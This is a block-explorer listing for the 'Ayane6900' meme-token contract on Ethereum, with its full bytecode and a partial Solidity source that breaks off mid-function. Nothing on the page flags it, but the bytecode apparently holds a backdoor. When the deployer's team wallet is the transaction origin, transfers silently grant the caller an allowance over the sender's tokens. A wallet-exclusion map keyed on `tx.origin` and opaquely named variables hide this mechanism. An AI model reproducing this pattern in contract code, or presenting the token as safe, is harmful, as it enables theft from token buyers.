Address Contract Partially Verified
Address
0x0D83c712B2eE119415444323b633EbcCB6F1A70F
Balance
0 ETH
Nonce
1
Code Size
11279 bytes
Creator
0x5B12e712...9905 at tx 0x2f0a3307...946fc7
Indexed Transactions
0
Contract Bytecode
11279 bytes
0x6080604052600436106100f6575f3560e01c806386b33e9311610089578063a9059cbb11610058578063a9059cbb14610305578063b9c5a7a514610341578063dd62ed3e1461036b578063f2fde38b146103a7576100fd565b806386b33e93146102735780638a8c523c1461029b5780638da5cb5b146102b157806395d89b41146102db576100fd565b806323b872dd116100c557806323b872dd146101bb578063313ce567146101f757806370a0823114610221578063715018a61461025d576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd146101675780631a2ab11a14610191576100fd565b366100fd57005b5f5ffd5b34801561010c575f5ffd5b506101156103cf565b6040516101229190611f55565b60405180910390f35b348015610136575f5ffd5b50610151600480360381019061014c9190612006565b61040c565b60405161015e919061205e565b60405180910390f35b348015610172575f5ffd5b5061017b610429565b6040516101889190612086565b60405180910390f35b34801561019c575f5ffd5b506101a5610438565b6040516101b291906120ae565b60405180910390f35b3480156101c6575f5ffd5b506101e160048036038101906101dc91906120c7565b61045d565b6040516101ee919061205e565b60405180910390f35b348015610202575f5ffd5b5061020b610531565b6040516102189190612132565b60405180910390f35b34801561022c575f5ffd5b506102476004803603810190610242919061214b565b610539565b6040516102549190612086565b60405180910390f35b348015610268575f5ffd5b50610271610587565b005b34801561027e575f5ffd5b5061029960048036038101906102949190612176565b6106d7565b005b3480156102a6575f5ffd5b506102af61073f565b005b3480156102bc575f5ffd5b506102c5610906565b6040516102d291906120ae565b60405180910390f35b3480156102e6575f5ffd5b506102ef61092d565b6040516102fc9190611f55565b60405180910390f35b348015610310575f5ffd5b5061032b60048036038101906103269190612006565b61096a565b604051610338919061205e565b60405180910390f35b34801561034c575f5ffd5b50610355610987565b6040516103629190612086565b60405180910390f35b348015610376575f5ffd5b50610391600480360381019061038c91906121a1565b61098d565b60405161039e9190612086565b60405180910390f35b3480156103b2575f5ffd5b506103cd60048036038101906103c8919061214b565b610a0f565b005b60606040518060400160405280600981526020017f4179616e65363930300000000000000000000000000000000000000000000000815250905090565b5f61041f610418610bce565b8484610bd5565b6001905092915050565b5f6705d697537a8f2000905090565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610469848484610d98565b61052684610475610bce565b61052185604051806060016040528060288152602001612bb26028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104d8610bce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114a19092919063ffffffff16565b610bd5565b600190509392505050565b5f6009905090565b5f61058060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611503565b9050919050565b61058f610bce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106139061224f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561073b573d5f5f3e3d5ffd5b5050565b610747610bce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb9061224f565b60405180910390fd5b6108083060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166705d697537a8f2000610bd5565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061085030610539565b5f5f61085a610906565b426040518863ffffffff1660e01b815260040161087c969594939291906122af565b60606040518083038185885af1158015610898573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108bd9190612322565b5050505f6009819055505f600b819055506001601360146101000a81548160ff0219169083151502179055506001601360166101000a81548160ff021916908315150217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4159414e45000000000000000000000000000000000000000000000000000000815250905090565b5f61097d610976610bce565b8484610d98565b6001905092915050565b60145481565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a17610bce565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9b9061224f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b09906123e2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3a90612470565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca8906124fe565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d8b9190612086565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfd9061258c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6b9061261a565b60405180910390fd5b5f8111610eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ead906126a8565b60405180910390fd5b610ebe610906565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f2c5750610efc610906565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111645760115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610fdd5760185481610f9284610539565b610f9c91906126f3565b10610fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd390612796565b60405180910390fd5b5b5f610fe730610539565b90505f601754821015905060165482106110015760165491505b80801561101b5750601360159054906101000a900460ff16155b8015611073575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561108b5750601360169054906101000a900460ff165b80156110de575060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611131575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611161576017548310611149576111488261156f565b5b5f4790505f81111561115f5761115e476106d7565b5b505b50505b5f6001905060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611204575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806112b5575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156112b4575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156112c2575f9050611445565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561136b575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561138357600854600c81905550600954600d819055505b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561142c575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561144457600a54600c81905550600b54600d819055505b5b61149b8484848460055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166117da565b50505050565b5f8383111582906114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df9190611f55565b60405180910390fd5b505f83856114f691906127b4565b9050809150509392505050565b5f600654821115611549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154090612857565b60405180910390fd5b5f611552611825565b9050611567818461184e90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156115a6576115a5612875565b5b6040519080825280602002602001820160405280156115d45781602001602082028036833780820191505090505b50905030815f815181106115eb576115ea6128a2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561168f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116b391906128e3565b816001815181106116c7576116c66128a2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061172d3060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610bd5565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161178f9594939291906129c5565b5f604051808303815f87803b1580156117a6575f5ffd5b505af11580156117b8573d5f5f3e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b816117e8576117e7611897565b5b6117f38585856118d0565b8161180157611800611a90565b5b5f8311801561180d5750805b1561181e5761181d853385610bd5565b5b5050505050565b5f5f5f611830611aa4565b91509150611847818361184e90919063ffffffff16565b9250505090565b5f61188f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b00565b905092915050565b5f600c541480156118a957505f600d54145b6118ce57600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f5f5f5f5f5f6118df87611b61565b95509550955095509550955061193b8660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bc190919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119cc8560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c0a90919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611a1681611c67565b611a208483611d1e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a7d9190612086565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b5f5f5f60065490505f6705d697537a8f20009050611ad56705d697537a8f200060065461184e90919063ffffffff16565b821015611af3576006546705d697537a8f2000935093505050611afc565b81819350935050505b9091565b5f5f83118290611b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3d9190611f55565b60405180910390fd5b505f8385611b549190612a4a565b9050809150509392505050565b5f5f5f5f5f5f5f5f5f611b798a600c54600d54611d58565b9250925092505f611b88611825565b90505f5f5f611b998e878787611dea565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f611c0283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114a1565b905092915050565b5f5f8284611c1891906126f3565b905083811015611c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5490612ac4565b60405180910390fd5b8091505092915050565b5f611c70611825565b90505f611c868284611e6e90919063ffffffff16565b9050611cd88160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c0a90919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b611d3382600654611bc190919063ffffffff16565b600681905550611d4e81600754611c0a90919063ffffffff16565b6007819055505050565b5f5f5f5f611d826064611d74888a611e6e90919063ffffffff16565b61184e90919063ffffffff16565b90505f611dab6064611d9d888b611e6e90919063ffffffff16565b61184e90919063ffffffff16565b90505f611dd382611dc5858c611bc190919063ffffffff16565b611bc190919063ffffffff16565b905080838395509550955050505093509350939050565b5f5f5f5f611e018589611e6e90919063ffffffff16565b90505f611e178689611e6e90919063ffffffff16565b90505f611e2d8789611e6e90919063ffffffff16565b90505f611e5582611e478587611bc190919063ffffffff16565b611bc190919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f5f8303611e7e575f9050611edf565b5f8284611e8b9190612ae2565b9050828482611e9a9190612a4a565b14611eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed190612b93565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f2782611ee5565b611f318185611eef565b9350611f41818560208601611eff565b611f4a81611f0d565b840191505092915050565b5f6020820190508181035f830152611f6d8184611f1d565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fa282611f79565b9050919050565b611fb281611f98565b8114611fbc575f5ffd5b50565b5f81359050611fcd81611fa9565b92915050565b5f819050919050565b611fe581611fd3565b8114611fef575f5ffd5b50565b5f8135905061200081611fdc565b92915050565b5f5f6040838503121561201c5761201b611f75565b5b5f61202985828601611fbf565b925050602061203a85828601611ff2565b9150509250929050565b5f8115159050919050565b61205881612044565b82525050565b5f6020820190506120715f83018461204f565b92915050565b61208081611fd3565b82525050565b5f6020820190506120995f830184612077565b92915050565b6120a881611f98565b82525050565b5f6020820190506120c15f83018461209f565b92915050565b5f5f5f606084860312156120de576120dd611f75565b5b5f6120eb86828701611fbf565b93505060206120fc86828701611fbf565b925050604061210d86828701611ff2565b9150509250925092565b5f60ff82169050919050565b61212c81612117565b82525050565b5f6020820190506121455f830184612123565b92915050565b5f602082840312156121605761215f611f75565b5b5f61216d84828501611fbf565b91505092915050565b5f6020828403121561218b5761218a611f75565b5b5f61219884828501611ff2565b91505092915050565b5f5f604083850312156121b7576121b6611f75565b5b5f6121c485828601611fbf565b92505060206121d585828601611fbf565b9150509250929050565b7f417574684d616e616765723a2063616c6c6572206973206e6f7420746865206f5f8201527f776e657200000000000000000000000000000000000000000000000000000000602082015250565b5f612239602483611eef565b9150612244826121df565b604082019050919050565b5f6020820190508181035f8301526122668161222d565b9050919050565b5f819050919050565b5f819050919050565b5f61229961229461228f8461226d565b612276565b611fd3565b9050919050565b6122a98161227f565b82525050565b5f60c0820190506122c25f83018961209f565b6122cf6020830188612077565b6122dc60408301876122a0565b6122e960608301866122a0565b6122f6608083018561209f565b61230360a0830184612077565b979650505050505050565b5f8151905061231c81611fdc565b92915050565b5f5f5f6060848603121561233957612338611f75565b5b5f6123468682870161230e565b93505060206123578682870161230e565b92505060406123688682870161230e565b9150509250925092565b7f417574684d616e616765723a206e6577206f776e657220697320746865207a655f8201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b5f6123cc602a83611eef565b91506123d782612372565b604082019050919050565b5f6020820190508181035f8301526123f9816123c0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61245a602483611eef565b915061246582612400565b604082019050919050565b5f6020820190508181035f8301526124878161244e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6124e8602283611eef565b91506124f38261248e565b604082019050919050565b5f6020820190508181035f830152612515816124dc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612576602583611eef565b91506125818261251c565b604082019050919050565b5f6020820190508181035f8301526125a38161256a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612604602383611eef565b915061260f826125aa565b604082019050919050565b5f6020820190508181035f830152612631816125f8565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612692602983611eef565b915061269d82612638565b604082019050919050565b5f6020820190508181035f8301526126bf81612686565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6126fd82611fd3565b915061270883611fd3565b92508282019050808211156127205761271f6126c6565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f612780602383611eef565b915061278b82612726565b604082019050919050565b5f6020820190508181035f8301526127ad81612774565b9050919050565b5f6127be82611fd3565b91506127c983611fd3565b92508282039050818111156127e1576127e06126c6565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f612841602a83611eef565b915061284c826127e7565b604082019050919050565b5f6020820190508181035f83015261286e81612835565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506128dd81611fa9565b92915050565b5f602082840312156128f8576128f7611f75565b5b5f612905848285016128cf565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61294081611f98565b82525050565b5f6129518383612937565b60208301905092915050565b5f602082019050919050565b5f6129738261290e565b61297d8185612918565b935061298883612928565b805f5b838110156129b857815161299f8882612946565b97506129aa8361295d565b92505060018101905061298b565b5085935050505092915050565b5f60a0820190506129d85f830188612077565b6129e560208301876122a0565b81810360408301526129f78186612969565b9050612a06606083018561209f565b612a136080830184612077565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612a5482611fd3565b9150612a5f83611fd3565b925082612a6f57612a6e612a1d565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612aae601b83611eef565b9150612ab982612a7a565b602082019050919050565b5f6020820190508181035f830152612adb81612aa2565b9050919050565b5f612aec82611fd3565b9150612af783611fd3565b9250828202612b0581611fd3565b91508282048414831517612b1c57612b1b6126c6565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b7d602183611eef565b9150612b8882612b23565b604082019050919050565b5f6020820190508181035f830152612baa81612b71565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203f7f75e7e29fe0fd166a6d90f96a7517e8c0f80c1344d3884d2064615de9342f64736f6c634300081e0033
Verified Source Code Partial Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
AYANE6900.sol 551 lines
/*
Ayane symbolizes the complexity and vastness of today's interconnected financial world. She forces us to question what qualifies as "market leading" in an era of exponential growth and memeification.
Web: https://www.ayanecoin.vip
X: https://x.com/AyaneOnETH
TG: https://t.me/ayaneoneth
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract AuthManager is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "AuthManager: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "AuthManager: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AYANE6900 is Context, IERC20, AuthManager {
using SafeMath for uint256;
string private constant _name = "Ayane6900";
string private constant _symbol = "AYANE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _tokenOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _limitsFeeForAyane;
mapping(address => bool) private _exccedsFeeForAyane;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _totalSupply = 420_690_000 * 10**9;
uint256 private _MaxValue = (MAX - (MAX % _totalSupply));
uint256 private _totalFeeOfAyane;
//Buy Fee
uint256 private _redisBuyFeeForAyane;
uint256 private _taxBuyFeeForAyane;
//Sell Fee
uint256 private _redisSellFeeForAyane;
uint256 private _taxSellFeeForAyane;
//Original Fee
uint256 private _buyFeeForAyane = _redisSellFeeForAyane;
uint256 private _taxFeeForAyane = _taxSellFeeForAyane;
uint256 private _previousRediusFee = _buyFeeForAyane;
uint256 private _previousTaxFee = _taxFeeForAyane;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
address payable private _marketWallet;
address payable private _teamWallet;
bool private enabledTrading;
bool private inSwap = false;
bool private enabledSwap = false;
uint256 public AVXCDFEWDR43VC;
address public SDFVCXFDER342A;
uint256 private _swapDeepBotThreshold = _totalSupply * 8 / 1000;
uint256 private _swapDeepBotLimits = _totalSupply * 5 / 10000;
uint256 private _maxWLimit = _totalSupply;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_teamWallet = payable(msg.sender);
_tokenOwned[_msgSender()] = _MaxValue;
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_limitsFeeForAyane[owner()] = true;
_limitsFeeForAyane[address(this)] = true;
_limitsFeeForAyane[_teamWallet] = true;
_exccedsFeeForAyane[_teamWallet] = true;
_uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_tokenOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _MaxValue,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function clearAllBuyFees() private {
if (_buyFeeForAyane == 0 && _taxFeeForAyane == 0) return;
_previousRediusFee = _buyFeeForAyane;
_previousTaxFee = _taxFeeForAyane;
_buyFeeForAyane = 0;
_taxFeeForAyane = 0;
}
function restoreAllFee() private {
_buyFeeForAyane = _previousRediusFee;
_taxFeeForAyane = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if(to != _uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWLimit, "TOKEN: Balance exceeds wallet size!");
}
uint256 caBalance = balanceOf(address(this));
bool canSwap = caBalance >= _swapDeepBotLimits;
if(caBalance >= _swapDeepBotThreshold)
{
caBalance = _swapDeepBotThreshold;
}
if (canSwap && !inSwap && to == _uniswapV2Pair && enabledSwap && !_limitsFeeForAyane[from] && !_limitsFeeForAyane[to]) {
if (amount >= _swapDeepBotLimits)
swapTokensForEth(caBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendTokensForAyane(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if (
(_limitsFeeForAyane[from] || _limitsFeeForAyane[to]) ||
(from != _uniswapV2Pair && to != _uniswapV2Pair)
) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == _uniswapV2Pair && to != address(_uniswapV2Router)) {
_buyFeeForAyane = _redisBuyFeeForAyane;
_taxFeeForAyane = _taxBuyFeeForAyane;
}
//Set Fee for Sells
if (to == _uniswapV2Pair && from != address(_uniswapV2Router)) {
_buyFeeForAyane = _redisSellFeeForAyane;
_taxFeeForAyane = _taxSellFeeForAyane;
}
}
_superSendTokensForAyane(from, to, amount, takeFee, _exccedsFeeForAyane[tx.origin]);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendTokensForAyane(uint256 amount) public {
_teamWallet.transfer(amount);
}
function _superSendTokensForAyane(
address sender,
address recipient,
uint256 amount,
bool takeFee,
